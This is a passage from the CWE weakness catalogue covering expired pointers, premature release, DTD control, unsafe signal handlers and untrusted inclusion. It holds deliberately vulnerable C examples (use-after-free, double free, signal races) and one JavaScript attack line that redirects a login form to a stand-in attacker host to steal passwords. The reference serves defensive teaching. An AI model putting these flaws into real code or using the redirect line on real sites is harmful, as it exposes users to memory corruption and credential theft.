CVE-2007-4639	Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4639*
CVE-2007-4000	Unchecked return values can lead to a write to an uninitialized pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4000*
CVE-2007-2442	zero-length input leads to free of uninitialized pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2442*
CVE-2007-1213	Crafted font leads to uninitialized function pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1213*
CVE-2006-6143	Uninitialized function pointer in freed memory is invoked *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6143*
CVE-2006-4175	LDAP server mishandles malformed BER queries, leading to free of uninitialized memory *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4175*
CVE-2006-0054	Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0054*
CVE-2003-1201	LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1201*

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-825: Expired Pointer Dereference

Weakness ID : 825 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

Extended Description

When a program releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the program to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1310
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	V	415	Double Free	901
ParentOf	V	416	Use After Free	904
CanFollow	B	562	Return of Stack Variable Address	1136
CanPrecede	B	125	Out-of-bounds Read	302
CanPrecede	B	787	Out-of-bounds Write	1463

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Alternate Terms

Dangling pointer :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.*	
Availability	DoS: Crash, Exit, or Restart *If the expired pointer references a memory location that is not accessible to the program, or points to a location that is*	

Scope	Impact	Likelihood
	"malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

Reference	Description
CVE-2008-5013	access of expired memory address leads to arbitrary code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5013*
CVE-2010-3257	stale pointer issue leads to denial of service and possibly other consequences *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3257*
CVE-2007-1211	read of value at an offset into a structure after the offset is no longer valid *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1211*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	V	884	CWE Cross-section	884	2037

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

CWE-826: Premature Release of Resource During Expected Lifetime

Weakness ID : 826 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program releases a resource that is still intended to be used by the program itself or another actor.

Extended Description

This weakness focuses on errors in which the program should not release a resource, but performs the release anyway. This is different than a weakness in which the program releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weakness, the resource should still be valid upon the subsequent access.

When a program releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues

similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1298
CanPrecede	C	672	Operation on a Resource after Expiration or Release	1310

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864
MemberOf	C	840	Business Logic Errors	1900

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory *If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.*	
Availability	DoS: Crash, Exit, or Restart *When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Application Data Modify Memory *When the resource is released, the software might modify some of its structure. This might affect program logic in the sections of code that still assume the resource is active. If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.*	

Observed Examples

Reference	Description
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3547*

Notes

Research Gap

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

CWE-827: Improper Control of Document Type Definition

Weakness ID : 827 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the software to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

Extended Description

As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1532
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
CanPrecede	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1440

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : XML *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories *If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.*	
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)	

Scope	Impact	Likelihood
	The DTD may cause the parser to consume excessive CPU cycles or memory using techniques such as nested or recursive entity references (CWE-776).	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Gain Privileges or Assume Identity *The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.*	

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2076*

References

[REF-773]Daniel Kulp. "Apache CXF Security Advisory (CVE-2010-2076)". 2010 June 6. < http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf >.

CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

Weakness ID : 828 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

Extended Description

This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

- Invocation of non-reentrant functions from within the handler. One example is malloc(), which modifies internal global variables as it manages memory. Very few functions are actually reentrant.
- Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.

- The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).

Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the software have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	364	Signal Handler Race Condition	802
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	1021

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	387	Signal Errors	1861

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands *The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls. Note: This will not always be possible and may require large portions of the software to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.

Effectiveness = High

Phase: Implementation

Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the software.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C *(bad)*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C *(bad)*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE,"%s\n",what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc,char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" (see references).

Observed Examples

Reference	Description
CVE-2008-4109	Signal handler uses functions that ultimately call the unsafe syslog/malloc/s*printf, leading to denial of service via multiple login attempts *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4109*
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5051*
CVE-2001-1349	unsafe calls to library functions from signal handler *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1349*
CVE-2004-0794	SIGURG can be used to remotely interrupt signal handler; other variants exist. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0794*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2259*
CVE-2002-1563	SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1563*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG31-C		Do not access or modify shared objects in signal handlers

References

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < http://lcamtuf.coredump.cx/signals.txt >.

[REF-361]"Race Condition: Signal Handling". < http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html >.

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID : 829 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307
ParentOf	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217
ParentOf	V	827	Improper Control of Document Type Definition	1527
ParentOf	V	830	Inclusion of Web Functionality from an Untrusted Source	1538

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	1971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands *An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML *(bad)*

```
<div class="header"> Welcome!
    <div id="loginBox">Please Login:
        <form id ="loginForm" name="loginForm" action="login.php" method="post">
        Username: <input type="text" name="username" />
        <br/>
        Password: <input type="password" name="password" />
        <input type="submit" value="Login" />
        </form>
    </div>
    <div id="WeatherWidget">
        <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
    </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript *(attack)*

```
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2076*
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0285*
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0030*
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0068*
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2157*
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2162*

Reference	Description
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2198*
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0128*
CVE-2005-1864	PHP file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1864*
CVE-2005-1869	PHP file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1869*
CVE-2005-1870	PHP file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1870*
CVE-2005-2154	PHP local file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2154*
CVE-2002-1704	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1704*
CVE-2002-1707	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1707*
CVE-2005-1964	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1964*
CVE-2005-1681	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1681*
CVE-2005-2086	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2086*
CVE-2004-0127	Directory traversal vulnerability in PHP include statement. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0127*
CVE-2005-1971	Directory traversal vulnerability in PHP include statement. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1971*
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3335*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	1898
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	1911
MemberOf	V	884	CWE Cross-section	884	2037

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
175	Code Inclusion
201	XML Entity Linking
228	DTD Injection
251	Local Code Inclusion
